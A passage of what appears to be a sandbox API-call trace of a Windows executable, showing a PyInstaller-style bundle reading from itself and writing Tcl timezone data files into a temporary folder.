Size=0xbd) returned 0x55de50 [0039.425] htonl (hostlong=0xbd000000) returned 0xbd [0039.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.426] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.426] htonl (hostlong=0x10010000) returned 0x110 [0039.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x110) returned 0x550600 [0039.426] htonl (hostlong=0xbd000000) returned 0xbd [0039.426] htonl (hostlong=0x10010000) returned 0x110 [0039.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55de50 | out: hHeap=0x530000) returned 1 [0039.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.427] CloseHandle (hObject=0x10c) returned 1 [0039.427] GetLastError () returned 0x0 [0039.427] SetLastError (dwErrCode=0x0) [0039.427] GetLastError () returned 0x0 [0039.427] SetLastError (dwErrCode=0x0) [0039.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.427] GetFileType (hFile=0x10c) returned 0x1 [0039.427] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.427] CloseHandle (hObject=0x10c) returned 1 [0039.427] GetLastError () returned 0x0 [0039.428] SetLastError (dwErrCode=0x0) [0039.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.428] GetFileType (hFile=0x10c) returned 0x1 [0039.428] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.428] CloseHandle (hObject=0x10c) returned 1 [0039.428] GetLastError () returned 0x0 [0039.428] SetLastError (dwErrCode=0x0) [0039.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.428] GetFileType (hFile=0x10c) returned 0x1 [0039.428] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.429] CloseHandle (hObject=0x10c) returned 1 [0039.429] GetLastError () returned 0x0 [0039.429] SetLastError (dwErrCode=0x0) [0039.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo") returned 75 [0039.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\paramaribo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.429] GetLastError () returned 0x2 [0039.429] SetLastError (dwErrCode=0x2) [0039.429] GetLastError () returned 0x2 [0039.429] SetLastError (dwErrCode=0x2) [0039.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo", lpFilePart=0x0) returned 0x4a [0039.429] GetLastError () returned 0x2 [0039.429] SetLastError (dwErrCode=0x2) [0039.429] GetLastError () returned 0x2 [0039.429] SetLastError (dwErrCode=0x2) [0039.429] GetLastError () returned 0x2 [0039.429] SetLastError (dwErrCode=0x2) [0039.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo") returned 75 [0039.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Paramaribo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\paramaribo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.430] GetFileType (hFile=0x10c) returned 0x1 [0039.430] htonl (hostlong=0x10010000) returned 0x110 [0039.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.431] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x110, lpOverlapped=0x0) returned 1 [0039.432] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.432] CloseHandle (hObject=0x10c) returned 1 [0039.432] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.432] htonl (hostlong=0x30000000) returned 0x30 [0039.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.433] GetFileType (hFile=0x10c) returned 0x1 [0039.433] htonl (hostlong=0x15065a00) returned 0x5a0615 [0039.433] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eb615, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.433] htonl (hostlong=0xdf000000) returned 0xdf [0039.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdf) returned 0x550600 [0039.433] htonl (hostlong=0xdf000000) returned 0xdf [0039.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.433] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.433] htonl (hostlong=0xdf010000) returned 0x1df [0039.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1df) returned 0x5506e8 [0039.433] htonl (hostlong=0xdf000000) returned 0xdf [0039.433] htonl (hostlong=0xdf010000) returned 0x1df [0039.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.433] CloseHandle (hObject=0x10c) returned 1 [0039.433] GetLastError () returned 0x0 [0039.433] SetLastError (dwErrCode=0x0) [0039.433] GetLastError () returned 0x0 [0039.433] SetLastError (dwErrCode=0x0) [0039.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.434] GetFileType (hFile=0x10c) returned 0x1 [0039.434] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.434] CloseHandle (hObject=0x10c) returned 1 [0039.434] GetLastError () returned 0x0 [0039.434] SetLastError (dwErrCode=0x0) [0039.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.434] GetFileType (hFile=0x10c) returned 0x1 [0039.434] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.435] CloseHandle (hObject=0x10c) returned 1 [0039.435] GetLastError () returned 0x0 [0039.435] SetLastError (dwErrCode=0x0) [0039.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.435] GetFileType (hFile=0x10c) returned 0x1 [0039.435] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.435] CloseHandle (hObject=0x10c) returned 1 [0039.435] GetLastError () returned 0x0 [0039.435] SetLastError (dwErrCode=0x0) [0039.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix") returned 72 [0039.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\phoenix"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.436] GetLastError () returned 0x2 [0039.436] SetLastError (dwErrCode=0x2) [0039.436] GetLastError () returned 0x2 [0039.436] SetLastError (dwErrCode=0x2) [0039.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix", lpFilePart=0x0) returned 0x47 [0039.436] GetLastError () returned 0x2 [0039.436] SetLastError (dwErrCode=0x2) [0039.436] GetLastError () returned 0x2 [0039.436] SetLastError (dwErrCode=0x2) [0039.436] GetLastError () returned 0x2 [0039.436] SetLastError (dwErrCode=0x2) [0039.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix") returned 72 [0039.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.436] GetFileType (hFile=0x10c) returned 0x1 [0039.436] htonl (hostlong=0xdf010000) returned 0x1df [0039.436] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.436] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1df, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1df, lpOverlapped=0x0) returned 1 [0039.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.437] CloseHandle (hObject=0x10c) returned 1 [0039.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e8 | out: hHeap=0x530000) returned 1 [0039.438] htonl (hostlong=0x30000000) returned 0x30 [0039.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.438] GetFileType (hFile=0x10c) returned 0x1 [0039.438] htonl (hostlong=0xf4065a00) returned 0x5a06f4 [0039.439] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eb6f4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.439] htonl (hostlong=0x1c050000) returned 0x51c [0039.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x51c) returned 0x550600 [0039.439] htonl (hostlong=0x1c050000) returned 0x51c [0039.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.439] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.439] htonl (hostlong=0x3a190000) returned 0x193a [0039.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x193a) returned 0x561090 [0039.439] htonl (hostlong=0x1c050000) returned 0x51c [0039.439] htonl (hostlong=0x3a190000) returned 0x193a [0039.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5629d8 [0039.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5629d8 | out: hHeap=0x530000) returned 1 [0039.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.439] CloseHandle (hObject=0x10c) returned 1 [0039.439] GetLastError () returned 0x0 [0039.440] SetLastError (dwErrCode=0x0) [0039.440] GetLastError () returned 0x0 [0039.440] SetLastError (dwErrCode=0x0) [0039.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 